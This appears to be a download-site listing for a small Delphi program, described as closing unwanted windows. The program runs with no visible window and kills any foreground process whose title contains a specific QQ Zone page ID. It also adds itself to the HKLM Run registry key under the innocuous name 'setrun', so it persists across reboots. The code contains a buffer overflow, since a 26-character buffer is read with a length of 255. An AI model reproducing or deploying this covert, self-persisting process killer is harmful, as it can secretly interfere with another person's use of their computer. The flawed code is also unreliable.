文件名称:小程序关闭不想要的窗口
文件大小:2KB
文件格式:TXT
更新时间:2012-10-28 05:04:28
shellapi
Program haha; Uses Windows, Messages, shellapi; // {$R *.res} Const AppName: PChar = 'haha'; Var prosid: dword; closehd,hCurrentWindow: hwnd; Hk: HKEY ; WndText:array[0..25] of char; function GetKJWnd(): hwnd; begin hCurrentWindow:=GetForegroundWindow; begin GetwindowText(hCurrentWindow, @WndText, 255); if (Pos('94384715.qzone',WndText)>0) then begin Result:=hCurrentWindow; Exit; end; end; Result:=0; end; Procedure closekj; Begin closehd:=GetKJWnd(); if closehd<>0 then begin GetWindowThreadProcessId(closehd,@prosid); if prosid<>0 then TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,prosid),$FFFFFFFF); end; End; Function WndProc(AWnd: HWND; message: UINT; wp: WPARAM; lp: LPARAM): LRESULT; stdcall; Begin Result := 0; Case message Of WM_DESTROY: PostQuitMessage(0); Else Result := DefWindowProc(AWnd, message, wp, lp); End; End; Var wc: WNDCLASS; HMainWnd: HWND; AMsg: MSG; Begin With wc Do Begin style := CS_VREDRAW Or CS_HREDRAW; lpfnWndProc := @WndProc; cbClsExtra := 0; cbWndExtra := 0; hIcon := LoadIcon(0, IDI_APPLICATION); hCursor := LoadCursor(0, IDC_ARROW); hbrBackground := GetSysColorBrush(COLOR_WINDOW); hInstance := HInstance; lpszMenuName := Nil; lpszClassName := AppName; End; RegisterClass(wc); HMainWnd := CreateWindow(AppName,AppName, WS_OVERLAPPEDWINDOW, Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), HWND_DESKTOP, 0, HInstance, Nil); UpdateWindow(HMainWnd); SetTimer(HMainWnd, 1, 1000, @closekj); RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run', Hk); RegSetValueEx(Hk, 'setrun', 0, REG_SZ, pchar(ParamStr(0)), 255); While GetMessage(AMsg, 0, 0, 0) Do Begin TranslateMessage(AMsg); DispatchMessage(AMsg); End; End.